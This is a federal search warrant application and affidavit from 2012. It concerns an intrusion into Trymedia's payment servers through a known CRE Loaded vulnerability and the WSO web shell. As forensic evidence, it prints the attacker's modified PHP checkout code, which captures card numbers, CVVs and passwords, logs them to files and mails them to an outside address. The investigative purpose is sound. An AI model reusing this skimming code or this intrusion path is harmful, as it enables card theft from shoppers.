AO 106 (Rev. 04/10) Application for a Search Warrant

UNITED STATES DISTRICT COURT

for the

Western District of Washington

In the Matter of the Search of
(Briefly describe the property to be searched or identify the person by name and address)

Electronic & Stored Communications
Contained in Four (4) Yahoo! E-Mail Accounts
More Fully Described in 'Attachment A'

Case No. MJ12-220

APPLICATION FOR A SEARCH WARRANT

I, a federal law enforcement officer or an attorney for the government, request a search warrant and state under penalty of perjury that I have reason to believe that on the following person or property *(identify the person or describe the property to be searched and give its location)*:

Electronic & Stored Communications contained in four (4) Yahoo! accounts, more fully described in 'Attachment A', attached hereto and incorporated herein by reference.

located in the Northern District of California, there is now concealed *(identify the person or describe the property to be seized)*:

Please see 'Attachment B', attached hereto and incorporated herein by reference.

The basis for the search under Fed. R. Crim. P. 41(c) is *(check one or more)*:

- ☑ evidence of a crime;
- ☑ contraband, fruits of crime, or other items illegally possessed;
- ☐ property designed for use, intended for use, or used in committing a crime;
- ☐ a person to be arrested or a person who is unlawfully restrained.

The search is related to a violation of:

Code Section	*Offense Description*
Title 18, U.S.C. § 1028, 1029, 1030, 1343 & 1344	Identity Theft, Access Device Fraud, Unauthorized Computer Access, Wire Fraud, & Bank Fraud

The application is based on these facts:

Please see attached Affidavit of Special Agent Timothy Hunt

- ☑ Continued on the attached sheet.
- ☐ Delayed notice of _____ days (give exact ending date if more than 30 days: _____) is requested under 18 U.S.C. § 3103a, the basis of which is set forth on the attached sheet.

Applicant's signature

Timothy Hunt, Special Agent, United States Secret Service
Printed name and title

Sworn to before me and signed in my presence.

Date: 4-27-2012

Judge's signature

City and state: Seattle, Washington

Mary Alice Theiler, United States Magistrate Judge
Printed name and title

AFFIDAVIT

STATE OF WASHINGTON)
) ss
COUNTY OF KING)

I, Timothy Hunt, being first duly sworn, depose and state as follows:

INTRODUCTION AND AGENT BACKGROUND

1. I am a Special Agent with the United States Secret Service (USSS) and have served so for over 7 years. As a Special Agent with the USSS, I have investigated cases involving credit card fraud, debit card fraud, check fraud, bank fraud, embezzlement, money laundering, wire fraud, mail fraud, counterfeit currency, network intrusions, child exploitation, and threats against the President, Vice President, and other protectees of the USSS. Since June of 2009, I have also been part of USSS Seattle Field Office Electronic Crimes Task Force. As part of this assignment, I investigate crimes within the jurisdiction of the USSS that also involve computers and or the internet.

2. I have a Bachelor's Degree in Education from Pacific Lutheran University. Prior to Joining the USSS, I was a teacher for over four years. I am a graduate of both the Criminal Investigator Training Program at the Federal Law Enforcement Training Center in Brunswick, Georgia, and the USSS Special Agent Training Course at the James J. Rowley Training Center in Beltsville, Maryland. I have also completed the USSS Basic Investigation of Computers and Electronic Crime Program, and the joint ICE, IRS and USSS Basic Computer Evidence Recovery Training at the Federal Law Enforcement Training Center. I have also completed the Guidance Software Computer Forensics I course in using EnCase computer forensics software, and the AccessData Boot Camp course in using FTK computer forensics software. I also hold CompTIA A+ Essentials and IT Technician certifications.

3. In addition to my investigative experience, I am a USSS Electronic Crimes Special Agent Program, Computer Forensic Examiner. In this role, I examine data from

UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970

computers, computer components, or electronic media in a controlled lab environment or on site for evidence, including e-mail, images, documents, chat logs, connection logs, financial records, internet history and event file time/date stamps. Evidentiary data is extracted and analyzed, then provided to the case agent or local detective to further their case.

4. I make this Affidavit in support of an application for a search warrant, pursuant to Title 18, United States Code, Section 2703, for a warrant to search the electronic communications contained in the e-mail accounts:

a. hmaddellali@yahoo.com;

b. hmaddellali14000@yahoo.com;

c. hmaddellali08000@yahoo.com; and

d. hmaddellali13000@yahoo.com.

as well as all other subscriber and log records associated with these accounts. The e-mail accounts that are the subject of this search warrant application are located at premises owned, maintained, controlled, and/or operated by Yahoo!, Inc., an e-mail provider headquartered at 701 First Avenue, Sunnyvale, California 94089. Through its e-mail service, Yahoo!, Inc. provides e-mail addresses and online e-mail storage to its subscribers.

5. This application seeks a warrant to search the aforementioned e-mail accounts and seize the items listed in Attachment B, which is attached to this affidavit and incorporated herein by reference, for evidence, fruits, and instrumentalities of violations of Title 18, United States Code, Sections 1028 (Identity Theft), 1029 (Access Device Fraud), and 1030 (Unauthorized Computer Access), 1343 (Wire Fraud), and 1344 (Bank Fraud).

6. The facts set forth in this Affidavit are based on my own personal knowledge; knowledge obtained from other individuals, including personnel from Real Networks and Dell Secure Works, during my participation in this investigation, including

UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970

other law enforcement officers; review of documents and records related to this investigation; communications with others who have personal knowledge of the events and circumstances described herein; and information gained through my training and experience.

7. Because this Affidavit is submitted for the limited purpose of establishing probable cause in support of the application for a search warrant, it does not set forth each and every fact that I or others have learned during the course of this investigation.

SUMMARY OF INVESTIGATION

8. Trymedia is a software company located in San Jose, California, within the Northern District of California. Trymedia is a subsidiary of RealNetworks, Inc., which is located in Seattle, Washington, within the Western District of Washington. RealNetworks, Inc, is handling the investigation of this incident and is the victim of any financial loss resulting from the intrusion.

9. Trymedia provides video games to users over the internet. To purchase a game, a user contacts Trymedia via the internet and purchases the game by supplying their credit card number. To facilitate their business, Trymedia uses computer servers physically located in Sunnyvale, California.

10. On December 2, 2011, a Trymedia software engineer, familiar with Trymedia's internal payment processing application, noticed an unauthorized modification to a credit card transaction script within that internal payment processing application. Trymedia conducted additional investigation, and subsequently identified identical activity on four other servers utilized for the same purpose.

11. In response, RealNetworks, the parent company of Trymedia, engaged Dell SecureWorks (DSW), a division of the Dell Inc., to conduct incident response and forensic examination of the affected systems. According to their website, DSW provides information security services and helps organizations protect their information technology assets, comply with regulations, and reduce security costs. Among the services DSW

UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970

provides are threat intelligence, vulnerability management, and web security. DSW dispatched Incident Handlers A.G. and J.K to handle the investigation.

a. A.G. is a Security Consultant and member of DSW's Incident Response and Digital Forensics team within Security Risk Compliance at DSW. He has over five years of experience in the information security field, and a Bachelors Degree in Information Technology from the University of Central Florida. An expert in the area of digital forensics, security assessment and auditing, penetration testing, incident management, and social engineering, he has performed security work for large and small companies, including fortune 500 companies, educational universities, medical groups, and financial organizations.

b. J.K. is a Senior Security Consultant with DSW's Incident Response Team within the Security and Risk Compliance Group. A Security Consultant at DSW since 2011, he provides forensics, incident management, malware analysis, log analysis and incident response plan development. Prior to working at DSW, J.K. worked for one of the top five Canadian financial institutions as a primary incident handler, forensic investigator, and assisted with BS77991 and ISO 27001 certifications.

12. Investigation by DSW personnel indicated that on or about November 4, 2011, a user connected to a Trymedia server via the internet, and accessed a publicly available administrative web page at:
XXXXXXXXXXX/admin/htmlarea/popups/file/files.php (hereinafter "files.php"). (full address redacted) TH

13. One of the software products used by Trymedia is called CRE Loaded. CRE Loaded is an internet commerce (e-commerce) application designed to help internet merchants establish e-commerce websites faster, and to assist them with the administration of websites. According to publicly available sources, CRE Loaded is known as "shopping cart" or "cart" software and assists e-commerce websites with stock and inventory tracking, displaying their products, tracking customers and orders, and allows for a variety of different payment systems.

UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970

14. CRE Loaded has a well-documented vulnerability called CVE-2006-0478. According to the Department of Homeland Security's National Vulnerability Database, CVE-2006-0478 allows remote attackers to perform privileged actions (*i.e.* an action which typically requires some level of access authorized by the system and its administrators), including uploading and creating arbitrary files, via a direct request to files.php. That is, the vulnerability permits individuals to access remotely core files within CRE Loaded, without first having to obtain authorization.

15. DSW investigators discovered variants of the file "crypt.php.1" on all five of the servers. Analysis of the file "crypt.php.1" by DSW indicated that it was a malicious program called Web Shell by Orb (WSO), variant 2.1. DSW investigators explained that WSO is a tool that allows a remote attacker to gain remote access to manipulate a victim system. WSO has several built-in features that allow the attacker to:

- Check for a server's security settings and look for the presence of security applications;
- Browse, navigate, and dump MySQL and PostgreSql databases;
- Evaluate attacker-supplied PHP code in the context of the server;
- Bypass the safemode security features of PHP;
- Search for hashes in various online databases;
- Remove the shell;
- Utilize a console that allows the malicious user to run commands on the server via a drop-down list of commands or via a "execute" option. Primarily these commands focus on finding configuration files, writable files and folders, suid files, etc.

According to B.M., the Senior Director and Information Security Office for Real Networks, Web Shell 2.1 by Orb is not an authorized application on their systems. Based on their investigation and analysis, DSW investigators believe that the attackers exploited

UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970

the CVE-2006-0478 vulnerability to upload variants of the file crypt.php.1, which is WSO.

16. Additional analysis of WSO by DSW indicated that access to the interface was protected by a password. DSW identified the password and successfully decrypted it, revealing that the password was "arreshack." It should be noted that the name "arres" may be a screen name, and also located below in one of the modified payment files in the phrase "BY ArREs dz-HACKER."

17. Forensic investigation by DSW yielded that in addition to the presence of WSO, some payment files on each of the servers had been modified to collect credit card numbers and personal information. The names of the files were Checkout.php, Checkout_confirmation.php, and Checkout_process.php. The exact files that were modified varied between the different servers, but all of the servers had one or more of the above files modified between November 4, 2011 and November 14, 2011. Below are excerpts of the modified code from the DSW report:

Checkout.php

```
$ip = getenv("REMOTE_ADDR");
$messages .= "----------YAhoo Password ----------\n";
$messages .= "Email : ".$_POST['email_address']."\n";
$messages .= "password : ".$_POST['password']."\n";
$messages .= "dob  : ".$_POST['dob']."\n";
$messages .= "firstname  : ".$_POST['firstname']."\n";
$messages .= "lastname  : ".$_POST['lastname']."\n";
$messages .= "street address  : ".$_POST['street_address_line1']."\n";
$messages .= "city  : ".$_POST['city']."\n";
$messages .= "state  : ".$_POST['state']."\n";
$messages .= "postcode  : ".$_POST['postcode']."\n";
$messages .= "telephone  : ".$_POST['telephone']."\n";
$messages .= "country  : ".$_POST['ship_country']."\n";
$messages .= "Owner : ".$_POST['bibit_cc_owner']."\n";
$messages .= "Card : ".$_POST['bibit_cc_number']."\n";
$messages .= "Expire Month : ".$_POST['bibit_cc_expires_month']."\n";
$messages .= "Expire Year : ".$_POST['bibit_cc_expires_year']."\n";
$messages .= "Card Cvv : ".$_POST['bibit_cc_checkcode']."\n";
$messages .= "IP : ".$ip."\n";
$messages .= "-----------------------------------------------\n";

$myFile = "/var/www/store.ws.trygames.com/fax/images/cache/washa.txt";
$fh     = fopen($myFile, 'a');
fwrite($fh, "\nCheckoutProcess:All OK -inserted order:" . print_r($messages, true));
fclose($fh);
```


UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970

Checkout_confirmation.php

```
$ip = getenv("REMOTE_ADDR");
$messages .= "----------\n";
$messages .= "Email : ".$_POST['email_address']."\n";
$messages .= "password : ".$_POST['password']."\n";
$messages .= "dob  : ".$_POST['dob']."\n";
$messages .= "firstname  : ".$_POST['firstname']."\n";
$messages .= "lastname  : ".$_POST['lastname']."\n";
$messages .= "street address  : ".$_POST['street_address_line1']."\n";
$messages .= "city  : ".$_POST['billing_city']."\n";
$messages .= "state  : ".$_POST['state']."\n";
$messages .= "postcode  : ".$_POST['postcode']."\n";
$messages .= "telephone  : ".$_POST['telephone']."\n";
$messages .= "country  : ".$_POST['country']."\n";
$messages .= "Owner : ".$_POST['bibit_cc_owner']."\n";
$messages .= "Card : ".$_POST['bibit_cc_number']."\n";
$messages .= "Expire Month : ".$_POST['bibit_cc_expires_month']."\n";
$messages .= "Expire Year : ".$_POST['bibit_cc_expires_year']."\n";
$messages .= "Card Cvv : ".$_POST['bibit_cc_checkcode']."\n";
$messages .= "IP : ".$ip."\n";
$messages .= "-----------------------------------------------\n";
$myFile = "/var/www/store.ws.trygames.com/fax/images/cache/washa-confir.txt";
$fh    = fopen($myFile, 'a');
fwrite($fh, "\n---BY ArREs dz-HACKER---" . print_r($messages, true));
fclose($fh);
```

Checkout_process.php

```
$message  = "---------------+ UK  ReZulT +---------------\n";
$message .= "billing_street_address   : $street_address_line1\n";
$message .= "billing_city : $city\n";
$message .= "billing_postcode : $postcode\n\n";
$message .= "billing_state : $js_state\n\n";
$message .= "billing_country : $country\n\n";
$message .= "payment_method : $payment_method\n\n";
$message .= "telephone     : $telephone\n\n";
$message .= "cc_type       : $cc_type\n\n";
$message .= "cc_owner      : $bibit_cc_owner\n\n";
$message .= "cc_number : $bibit_cc_number\n\n";
$message .= "cc_expires : $bibit_cc_expires_month\n\n";
$message .= "cc_cvv : $bibit_cc_checkcode\n\n";
$message .= "orders : $order\n\n";
$message .= "cc : $cc_query\n\n";
$message .= "modules : $payment_modules\n\n";
$message .= "----------------------ArREs----------------------\n";
$send="hmaddellali@yahoo.com";
$subject = "$order";
$menmen = "From: admin<info@trymedia.com>";
if(mail($send,$subject,$message,$menmen) != false){
```


UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970

18. In addition to the modified files, each of the five servers contained multiple "dump" files containing user names, unencrypted passwords, and credit card numbers. The purpose of a "dump" file is to collect and aggregate data and information, generally to later be exported from the system. According to B.M., the Senior Director and Information Security Office for Real Networks, these "dump" files were not authorized on the system, nor are they how Trymedia stores customer data. As such, it is reasonable to believe that they were the result of unauthorized network activity on the part of the attacker.

19. Analysis by DSW of the dump files spread across all five of the compromised servers yielded a total of 6,872 stored credit card numbers. Additionally, given the degree of access that the attacker had to the affected systems, it is possible that other "dump" files existed, but were subsequently deleted by the attacker.

SUBJECT'S USE OF ELECTRONIC COMMUNICATION SERVICES

20. In addition to collecting credit card numbers and personal data, DSW analysts located changes in the above files that appeared to be intended to send this information over the internet to Yahoo! e-mail addresses. One of these files was Checkout_process.php, which was located on three of the compromised servers. Excerpts from the code of this file are provided above. Among the information that the file appears to send is credit card type, credit card owner, credit card number, credit card expiration date, and credit card CVV number. This particular code appears to send the compromised material to the e-mail address hmaddellali@yahoo.com.

21. Analysis of e-mail logs from the infected servers showed a large volume of suspicious e-mail messages to four different derivatives of the hmaddellali@yahoo.com e-mail accounts noted in the above altered file. Those e-mail accounts were:

a. hmaddellali@yahoo.com

b. hmaddellali14000@yahoo.com

c. hmaddellali08000@yahoo.com

d. hmaddellali13000@yahoo.com

UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970

22. The combined volume of daily e-mails sent from the Trymedia servers to the subject Yahoo! accounts ranged from between 158 to 2,546. In total, for the time period of November 4, 2011 through November 12, 2011, approximately 11,400 outbound e-mail messages were sent to the above e-mail accounts. The below table lists the e-mail traffic to the respective accounts between November 4, 2011 and November 8, 2011:

hmaddellali@yahoo.com	2,388
hmaddellali14000@yahoo.com	3,789
hmaddellali08000@yahoo.com	5,216
hmaddellali13000@yahoo.com	7

23. An Internet Protocol (IP) address is a numerical label assigned to a device participating in a network. IP addresses allow one computer to communicate with another via a network. Computer servers and other network devices commonly record, or "log," the addresses that data is sent to or received from. In many instances, these logs can be consulted to determine the source of a network intrusion.

24. As stated above, investigation by DSW indicated that the vector for the attack came via a particular file called files.php. Between November 4, 2011 and December 2, 2011, DSW informed me that files.php was accessed fifteen times from an IP address outside the Trymedia network, via the internet. Below is a list of the IP Addresses that accessed the file and the number of times they accessed it.

IP Address	Number of Connections
195.191.246.1	8
91.198.175.1	4
192.221.103.151	1
50.31.30.107	1
41.43.24.80	1

UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970

25. I subsequently received additional logs from Real Networks showing additional IP addresses that were used to access TryMedia's systems (including, specifically, files.php) over the same time period.

26. Per publically available sources, the IP addresses 195.191.246.1 and 91.198.175.1 are registered to a company located in Crimeria, Ukraine. Per B.M., while Trymedia does have employees that may have reason to access the Trymedia computer systems from the Ukraine, none would have done so between November 4, 2011 and December 2, 2011.

27. Publically available information indicates that the IP address 192.221.103.151 is owned by Level 3 Communications, in Bloomfield, Colorado. However, Level 3 Communications recently advised me that they do not own that IP address.

28. Publically available information indicates that IP address 50.31.30.107 is owned by Steadfast Networks, located in Chicago, Illinois. Steadfast indicated that at the time that the IP address was used, it was leased to a proxy service known as Netco Solutions in the United Kingdom. According to Steadfast, this customer claims to be an operator of a proxy service, which provides indirect access to content through encrypted VPN tunneling, for anonymous or secure Internet browsing. Based on my training and experience, I know that computer hackers and others that want to conceal their identities will often employ a proxy service in order to hide their true IP address.

29. Publically available information indicates that IP address 41.43.24.80 is owned by TE Data, located in Giza, Egypt.

30. In my training and experience, I have learned that Yahoo! provides a variety of on-line services, including e-mail access to the general public. Yahoo! allows subscribers to obtain e-mail accounts at the domain name Yahoo.com. Subscribers obtain an account by registering with Yahoo! During the registration process, Yahoo! asks the subscriber for basic personal information. Therefore, Yahoo!'s computer systems are likely to contain stored electronic communications (including retrieved and unretrieved e-

UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970

mail for Yahoo! subscribers) and information concerning subscribers and their use of Yahoo!, such as account access information, e-mail transaction information, and account application information.

31. In general, an e-mail that is sent to a Yahoo! subscriber is stored in the subscriber's "mail box" on Yahoo!'s servers until the subscriber deletes the e-mail. If the subscriber does not delete the message, the message can remain on Yahoo!'s system indefinitely. Even if the subscriber deletes the e-mail, it may continue to be available on Yahoo!'s servers for a certain period of time.

32. When the subscriber sends an e-mail, if is initiated at the user's computer, transferred via the Internet to Yahoo! servers and then transmitted to its end destination. Yahoo! often saves a copy of the e-mail sent. Unless the sender of the e-mail specifically deletes the e-mail from Yahoo!'s servers, the e-mail can remain on the system indefinitely. Even if the sender deletes the e-mail, it may continue to be available on Yahoo!'s servers for a certain period of time.

33. A sent or received e-mail typically includes the content of the message, source and destination address, the date and time at which the e-mail was sent, and the size and length of the e-mail. If an e-mail user writes a draft message but does not send it, that message may also be saved by Yahoo!, but may not include all of these categories of data.

34. A Yahoo! subscriber can also store files and information, including e-mails, addresses and contacts, pictures, calendar entries and information, and notes, on servers maintained and/or owned by Yahoo!

35. Subscribers to Yahoo! might not store copies of the e-mails stored in their Yahoo! accounts on their home computers. This is particularly true when they access their Yahoo! accounts through the web, or if they do not wish to maintain particular e-mails or files in their residence.

36. In general, e-mail providers like Yahoo! ask each of their subscribers to provide certain personal identifying information when registering for an e-mail account.

UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970

This information can include the subscriber's full name, physical address, telephone numbers and other identifiers, alternative e-mail addresses, and, for paying subscribers, means and source of payment (including any credit or bank account number).

37. E-mail providers typically retain certain transactional information about the creation and use of each account on their systems. This information can include the date on which the account was created, the length of service, records of log-in (i.e., session) times and durations, the types of service utilized, the status of the account (including whether the account is inactive or closed), the methods used to connect to the account (such as logging into the account via Yahoo! website), and other log files that reflect usage of the account. In addition, e-mail providers often have records of the Internet Protocol address ("IP address") used to register the account and the IP addresses associated with particular logins to the accounts. Because every device that connects to the Internet must use an IP address, IP address information can help to identify which computers or other devices were used to access the e-mail accounts.

38. In some cases, e-mail account users will communicate directly with an e-mail service provider about issues relating to the account, such as technical problems, billing inquiries, or complaints from other users. E-mail providers typically retain records about such communications, including records of contacts between the user and the provider's support services, as well records of any actions taken by the provider or user as a result of the communications.

39. In my training and experience, evidence of who was using an e-mail account may be found in address books, contact lists, photographs, attachments to e-mails, e-mails themselves, and calendar entries.

40. On February 5, 2012, I sent a preservation letter to Yahoo!, and asked that the contents of the e-mail accounts: hmaddellali@yahoo.com, hmaddellali14000@yahoo.com, hmaddellali08000@yahoo.com, and hmaddellali13000@yahoo.com be preserved, under authority of Title 18, United States Code, Section 2703(f)(1), for a period of 90 days. This was the second request I made. I

UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970

made a previous, similar request to preserve the contents of these e-mail accounts on December 9, 2011.

41. Because the target of this investigation has not yet been conclusively identified, and because this investigation is not being made public so as not to alert the potential targets of its existence, no searches have been conducted of the targets computers. No other attempts have been made to obtain the information sought.

INFORMATION TO BE SEARCHED AND THINGS TO BE SEIZED

42. I anticipate executing this warrant under the Electronic Communications Privacy Act, in particular Title 18, United States Code, Sections 2703(a), 2703(b)(1)(A), and 2703(c)(1)(A), by using the warrant to require Yahoo! to disclose to the government copies of the records and other information (including the content of communications) particularly described in Section I of Attachment B. Upon receipt of the information described in Section I of Attachment B, government-authorized persons will review that information to locate the items described in Section II of Attachment B.

REQUEST FOR NONDISCLOSURE AND SEALING

43. The government requests, pursuant to the preclusion of notice provisions of Title 18, United States Code, Section 2705(b), that Yahoo! be ordered not to notify any person (including the subscriber or customer to which the materials relate) of the existence of this warrant for such period as the Court deems appropriate. The government submits that such an order is justified because notification of the existence of this Order would seriously jeopardize the ongoing investigation. Such a disclosure would give the subscriber an opportunity to destroy evidence, change patterns of behavior, notify confederates, or flee or continue his flight from prosecution.

44. It is further respectfully requested that this Court issue an order sealing, until further order of the Court, all papers submitted in support of this application, including the application and search warrant. I believe that sealing this document is necessary because the items and information to be seized are relevant to an ongoing investigation, and law enforcement may still attempt to execute a search warrant at the

UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970

target's residence before the investigation concludes. Premature disclosure of the contents of this affidavit and related documents may have a significant and negative impact on the continuing investigation and may severely jeopardize its effectiveness.

45. Based upon the evidence gathered in this investigation and set out above, including, but not limited to, my review of data and records, information received from other agents and computer security professionals, and my training and experience, there is probable cause to believe that evidence, fruits and/or instrumentalities of crimes of Identity Theft, in violation of Title 18, United States Code, Section 1028; Access Device Fraud, in violation of Title 18, United States Code, Section 1029; Fraud and Related Activities in connection with Computers, in violation of Title 18, United States Code, Section 1030; Wire Fraud, in violation of Title 18, United States Code, Section 1343; and Bank Fraud, in violation of Title 18, United States Code, Section 1344 exists and will be found in the electronically stored information or communications contained and associated with the Yahoo! e-mail accounts: hmaddellali@yahoo.com, hmaddellali14000@yahoo.com, hmaddellali08000@yahoo.com, and hmaddellali13000@yahoo.com, as well as in subscriber and log records associated with those accounts.

46. This Court has jurisdiction to issue the requested warrant because it is "a court of competent jurisdiction" as defined by Title 18, United States Code, Section 2711. 18 U.S.C. §§ 2703(a), (b)(1)(A), and (c)(1)(A). Specifically, this Court is a district court of the United States that has jurisdiction over the offense being investigated. 18 U.S.C. § 2711(3)(A)(I). Pursuant to Title 18, United States Code, Section 2703(g), the presence of a law enforcement officer is not required for the service or execution of this warrant.

///

///

///

UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970

Accordingly, by this Affidavit and Warrant, I seek authority for the government to search all of the items specified in Section I, Attachment B (attached hereto and incorporated by reference herein) to the Warrant, and specifically to seize all of the data, documents and records that are identified in Section II to that same Attachment.

TIMOTHY HUNT
Special Agent
United States Secret Service

SUBSCRIBED and SWORN to before me this 27 day of April, 2012.

MARY ALICE THEILER
United States Magistrate Judge

UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970

ATTACHMENT A
Places to be Searched

The electronically stored information and communications contained in, related to, and associated with, including all preserved data associated with the following e-mail accounts, as well as all other subscriber and log records associated the accounts, which are located at the premises owned, maintained, controlled or operated by the e-mail provider headquartered as indicated below:

a. hmaddellali@yahoo.com;

b. hmaddellali14000@yahoo.com;

c. hmaddellali08000@yahoo.com; and

d. hmaddellali13000@yahoo.com.

The above-listed e-mail accounts that are the subject of this search warrant application are located at premises owned, maintained, controlled, and/or operated by Yahoo!, Inc., an e-mail provider headquartered at 701 First Avenue, Sunnyvale, California 94089.

UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970

ATTACHMENT B
Section I

A. Items to be to be Provided by Yahoo! for search:

All electronically stored information and communications contained in, related to, and associated with, including all preserved data associated with the following accounts:

a. hmaddellali@yahoo.com;

b. hmaddellali14000@yahoo.com;

c. hmaddellali08000@yahoo.com; and

d. hmaddellali13000@yahoo.com.

including the following:

1. Electronic mail content and/or preserved data;

2. Any account information associated with the specified accounts;

3. Any profile information associated with the specified accounts;

4. Any contact lists associated with the specified accounts;

5. All subscriber records associated with the specified accounts, including: (1) name, (2) address, (3) records of session times and durations, (4) length of service (including start date) and types of service utilized, (5) telephone or instrument number or other subscriber number or identity (including any temporarily assigned network address such as internet protocol address), (6) account log files (login IP address, account activation IP address and IP address history, (7) means and source of payment for such service, including any credit card or bank account number, (8) detailed billing records/logs, (9) list of all related accounts, and (10) local and long distance telephone connection records.

6. Any records of communications between Yahoo! and any other person about issues relating to the hmaddellali@yahoo.com, hmaddellali14000@yahoo.com, hmaddellali08000@yahoo.com, and hmaddellali13000@yahoo.com accounts, such as technical problems, billing inquiries, or complaints about the specified account. This to include records of contacts between the subscriber and the provider's support services, as

UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970

well as records of any actions taken by the provider or subscriber as a result of the communications.

7. Any and all other log records, including IP address captures, associated with the specified accounts; and

8. Any address lists or buddy lists associated with the specified accounts.

UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970

ATTACHMENT B
Section II
Items to be Seized

From all electronically stored information and communications contained in, related to, and associated with, including any preserved data associated with, the following e-mail accounts from the time period January 1, 2011 through the present:

a. hmaddellali@yahoo.com;

b. hmaddellali14000@yahoo.com;

c. hmaddellali08000@yahoo.com; and

d. hmaddellali13000@yahoo.com.

to include the following:

1. All messages, documents, and profile information, attachments, or other data that serves to identify any persons who use or access the account specified, or who exercise in any way any dominion control over the specified account;

2. Any address lists and/or buddy/contact lists associated with the specified account;

3. All messages, documents and profile information, attachments, or other data that otherwise constitutes evidence, fruits, or instrumentalities of violations of Title 18, United States Code, Sections 1028, 1029, 1030, 1343 and 1344. .

4. All subscriber records associated with the specified account, including name, address, local and long distance telephone connection records, or records of session times and durations, length of service (including start date) and types of service utilized, telephone or instrument number or other subscriber number or identity, including any temporarily assigned network address, and means and source of payment for such service) including any credit card or bank account number;

5. Any and all other log records, including IP address captures, associated with the specified account;

6. Any records of communications between Yahoo! and any person about issues relating to the hmaddellali@yahoo.com, hmaddellali14000@yahoo.com,

UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970

hmaddellali08000@yahoo.com, and hmaddellali13000@yahoo.com accounts, such as technical problems, billing inquiries, or complaints from other users about the specified account. This to include records of contacts between the subscriber and the provider's support services, as well as records of any actions taken by the provider or subscriber as a result of the communications.

7. Any records of communications between Yahoo! and any person about issues relating to the account, such as technical problems, billing inquiries, or complaints from other users about the specified account. This to include records of contacts between the subscriber and the provider's support services, as well as records of any actions taken by the provider or subscriber as a result of the communications.

UNITED STATES ATTORNEY
700 Stewart Street, Suite 5220
Seattle, Washington 98101-1271
(206) 553-7970